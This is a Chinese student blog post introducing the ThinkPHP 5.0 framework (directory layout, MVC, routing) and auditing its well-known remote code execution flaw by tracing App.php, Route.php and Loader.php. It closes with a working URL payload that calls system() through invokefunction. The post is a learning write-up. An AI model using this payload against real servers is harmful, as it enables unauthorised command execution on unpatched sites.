Thinkphp框架原理及简单审计

前言

考完试终于有时间来进行一波网安的学了,ciscn几道框架题看得我头皮发麻,正好趁着暑假开始学习框架,我们先从php框架开始。

关于php框架

php的开源框架有很多,目前在ctf中遇到的比较多的框架有Thinkphp、zendframework(Laminas)等等,而我们就从资料比较多、难度也没那么大的Thinkphp5.0框架开始。

目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
application 应用目录
---|index 模块
---|controller 控制器
---|model 模型
---|view 视图
---|config.php 模块配置文件 服务的对象是index模块
---|database.php 模块数据库的配置文件,服务的对象是index模块
---|common.php 模块公共函数文件,服务的对象是index模块
---|common.php 模块的公共文件(公共函数 调用第三方类库 发送邮件 发送短信...)
---|config.php 应用配置文件 (作用对象是所有的模块)
---|database.php 数据库配置文件 (作用对象是所有的模块,配置连接数据库的信息)
---|route.php 路由目录
extend 扩展包目录 (存放的是三方类 发送邮件类,支付类...)
public 根目录
---|static 静态资源目录(存放css js image....)
runtime 缓存目录
thinkphp 框架核心目录
---|library
---|think 核心类库(model page file...)
---|lang语言包
---|tpl模板系统目录
---|convention.php 惯例配置文件
vendor 三方扩展目录
composer.json 工具包信息记录文件

运行原理

mvc设计模式

m(模型)v(视图)c(控制器)是Thinkphp的一大特色,c通过调度m获取数据,加载v将数据返回给客户端。

模型层(m)

在m层中,比较复杂的项目设计需要区分数据层、逻辑层、服务层等不同的模型层,因此可以在模块目录下面创建Model、Logic和Service目录,把对用户表的所有模型操作分成三层:

  • 数据层:Model/UserModel 用于定义数据相关的自动验证、自动完成和数据存取
  • 逻辑层:Logic/UserLogic 用于定义用户相关的业务逻辑
  • 服务层:Service/UserService 用于定义用户相关的服务接口等
    这三个模型操作类统一都要继承Model类。

视图层(v)

以首页设置来说:

1
2
3
4
5
6
7
8
9
class Index extends Controller{
/**
* 首页
*/
public function index()
{
return $this->fetch();
}
}

fetch()传入的参数是模板名,用模板文件来输出。如果 fetch() 不传参数,程序会自动寻找 view/index/index.html渲染输出。如果传参数,比如传入” hello“,那么程序会寻找view/index/hello.html来渲染输出。

而如果使用display()来代替fetch()的话,会直接输出传递的内容,如果没有传递参数,会渲染出Layout,但不会有任何内容。如果传递参数, 比如 “hello”,那么页面会直接输出字符串 “hello”。

而view()的使用与fetch()相同,但写法上有一定不同:

1
2
3
4
5
6
7
8
9
class Index extends Controller{
/**
* 首页
*/
public function index()
{
return view();
}
}

控制器层(c)

c层由核心控制器和业务控制器组成,核心控制器由系统内部的App类完成,负责应用(包括模块、控制器和操作)的调度控制,包括HTTP请求拦截、转发、加载配置等;而业务控制器则由用户定义的控制器类完成。

同样在复杂项目中可以对业务控制器进行分层,分为访问控制器和事件控制器,访问控制器负责外部交互响应,通过URL请求响应,例如 http://域名/Home/User/login.html;事件控制器负责内部的事件响应,并且只能在内部调用,所以是和外部隔离的,确切的说,访问控制器之外的分层控制器都只能内部实例化调用。

url访问

1
2
3
不支持普通的模式    http://www.tp5.com/index.php?m=index&c=Index&a=add
只支持pathinfo模式 http://www.tp5.com/index.php/index/Index/add?name=junge
pathinfo 模式: 简化url地址,可以提高网站的收录排名,有利于seo优化

路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(1)普通使用:
Route::rule('路由规则', '模块/控制器/方法', '请求方式', [伪静态设置], [参数类型设置]);
如:Route::rule('/admin/:id', 'admin/Index/index', 'get', ['ext' => 'html'], ['id' => '\d+']);
(2)请求方式路由
Route::get("路由规则","模块/控制器/方法");
格式:
Route::get("/test","index/Index/index");
(3)隐式路由
把所有的访问操作统统交给同一个路由规则(/test)处理
Route::controller("路由规则","模块/控制器");
格式:
Route::controller("/test","index/Index");
(4)路由别名
通过路由别名访问控制器下的所有方法
Route::alias("别名","模块/控制器");
格式:
Route::alias("users","admin/Test");

代码审计

我们以Thinkphp5的远程代码RCE为例进行漏洞分析。首先查看thinkphp/library/think/App.php:540:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 路由检测(根据路由定义返回不同的URL调度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
if ($must && false === $result) {
// 路由无效
throw new RouteNotFoundException();
}
}
if (false === $result) {
// 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
return $result;
}

由于没有在配置文件中定义任何路由,因此按照路由到模块/控制器的方法进行解析调度,接下来进行跟进thinkphp/library/think/Route.php:1238:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析额外参数
self::parseUrlParams(empty($path) ? '' : implode('|', $path));
// 封装路由
$route = [$module, $controller, $action];
// 检查地址是否被定义过路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
}

if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];

可以发现解析url的时候框架知识将URL按照分割符进行分割,并没有进行安全检测。继续跟进thinkphp/library/think/App.php:333:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// 模块初始化
if ($module && $available) {
// 初始化模块
$request->module($module);
$config = self::init($module);
// 模块请求缓存检查
$request->cache($config['request_cache'], $config['request_cache_expire']);
} else {
throw new HttpException(404, 'module not exists:' . $module);
}
} else {
// 单一模块部署
$module = '';
$request->module($module);
}
// 当前模块路径
App::$modulePath = APP_PATH . ($module ? $module . DS : '');

// 是否自动转换控制器和操作名
$convert = is_bool($convert) ? $convert : $config['url_convert'];
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
$controller = $convert ? strtolower($controller) : $controller;

// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
$actionName = $convert ? strtolower($actionName) : $actionName;

// 设置当前请求的控制器、操作
$request->controller(Loader::parseName($controller, 1))->action($actionName);

在攻击时注意使用一个已存在的module,否则会抛出异常,无法继续运行。

接下来对控制器进行实例化的部分进行跟进thinkphp/library/think/Loader.php::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static function action($url, $vars = [], $layer = 'controller', $appendSuffix = false)
{
$info = pathinfo($url);
$action = $info['basename'];
$module = '.' != $info['dirname'] ? $info['dirname'] : Request::instance()->controller();
$class = self::controller($module, $layer, $appendSuffix);
if ($class) {
if (is_scalar($vars)) {
if (strpos($vars, '=')) {
parse_str($vars, $vars);
} else {
$vars = [$vars];
}
}
return App::invokeMethod([$class, $action . Config::get('action_suffix')], $vars);
}
}

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
if (strpos($name, '\\')) {
$class = $name;
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', $name);
} else {
$module = Request::instance()->module();
}
$class = self::parseClass($module, $layer, $name, $appendSuffix);
}
if (class_exists($class)) {
return App::invokeClass($class);
} elseif ($empty && class_exists($emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix))) {
return new $emptyClass(Request::instance());
}
}

正常情况下应该获取到对应控制器类的实例化对象,而我们现在得到了一个\think\App的实例化对象,进而通过url调用其任意的public方法,同时解析url中的额外参数,当作方法的参数传入。

payload:

1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

总结

整个流程跟进分析下来感觉还是很吃力的,对于框架的漏洞挖掘可以看得出还是相当有难度的。之后应该也会刷刷vulhub学习一些漏洞。